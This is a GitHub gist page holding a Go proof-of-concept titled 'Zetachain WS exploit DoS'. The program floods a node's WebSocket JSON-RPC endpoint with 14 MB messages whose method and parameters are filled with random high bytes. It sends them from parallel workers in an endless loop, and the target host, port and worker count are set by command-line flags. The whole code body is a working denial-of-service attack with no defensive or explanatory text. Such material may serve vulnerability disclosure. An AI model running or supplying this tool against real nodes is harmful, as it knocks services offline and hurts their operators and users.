Skip to content

Instantly share code, notes, and snippets.

@0xfadam

0xfadam/poc.go Secret

Created December 17, 2023 19:35
Show Gist options
  • Select an option

  • Save 0xfadam/2846ee14d67ea95741f27e50570ac77a to your computer and use it in GitHub Desktop.

Select an option

Save 0xfadam/2846ee14d67ea95741f27e50570ac77a to your computer and use it in GitHub Desktop.
Zetachain WS exploit DoS
package main
import (
"crypto/rand"
"crypto/tls"
"flag"
"fmt"
"log"
"sync"
"math/big"
"github.com/ethereum/go-ethereum/ethclient"
"github.com/gorilla/websocket"
)
func main() {
// Command-line flags
ipAddress := flag.String("ip", "localhost", "IP address")
wsPort := flag.Int("ws-port", 8546, "Port number for WebSocket")
secure := flag.Bool("secure", true, "Use secure WebSocket (wss)")
workers := flag.Int("workers", 5, "Number of parallel workers")
flag.Parse()
// Ethereum node URL
ethNodeURL := fmt.Sprintf("http://%s:%d", *ipAddress, *wsPort)
wsURL := fmt.Sprintf("ws://%s:%d/", *ipAddress, *wsPort)
if *secure {
wsURL = fmt.Sprintf("wss://%s:%d/", *ipAddress, *wsPort)
}
// Create a WebSocket dialer
dialer := websocket.Dialer{
TLSClientConfig: &tls.Config{InsecureSkipVerify: !*secure}, // Skip SSL/TLS verification if insecure flag is set
}
var wg sync.WaitGroup
wg.Add(*workers)
log.Printf("Generation of payload des familles")
randomString, err := generateRandomASCIIString(14 * 1024 * 1024)
if err != nil {
log.Printf("Error generating random bytes: %s", err)
}
log.Printf("Payload generated, attack starting")
for i := 0; i < *workers; i++ {
go func(workerID int) {
defer wg.Done()
for {
// Perform the WebSocket handshake
conn, _, err := dialer.Dial(wsURL, nil)
if err != nil {
log.Printf("Worker %d: Error connecting to WebSocket: %s", workerID, err)
return
}
// Create an Ethereum client
wsClient, err := ethclient.Dial(ethNodeURL)
if err != nil {
log.Printf("Worker %d: Error connecting to Ethereum node: %s", workerID, err)
conn.Close()
return
}
jsonString := `{"jsonrpc":"2.0","method":"eth_` + randomString + `","params":["0x` + randomString + `"],"id":1}`
err = conn.WriteMessage(websocket.TextMessage, []byte(jsonString))
if err != nil {
log.Printf("Worker %d: Error writing message to WebSocket: %s", workerID, err)
}
// Close the connection and Ethereum client
conn.Close()
wsClient.Close()
// You might want to introduce a condition to exit the loop
}
}(i)
}
wg.Wait()
}
func generateRandomASCIIString(size int) (string, error) {
const minASCII = 127
const maxASCII = 255
randomBytes := make([]byte, size)
asciiRange := big.NewInt(int64(maxASCII - minASCII + 1))
for i := 0; i < size; i++ {
randomByte, err := rand.Int(rand.Reader, asciiRange)
if err != nil {
return "", err
}
randomBytes[i] = byte(randomByte.Int64() + minASCII)
}
return string(randomBytes), nil
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment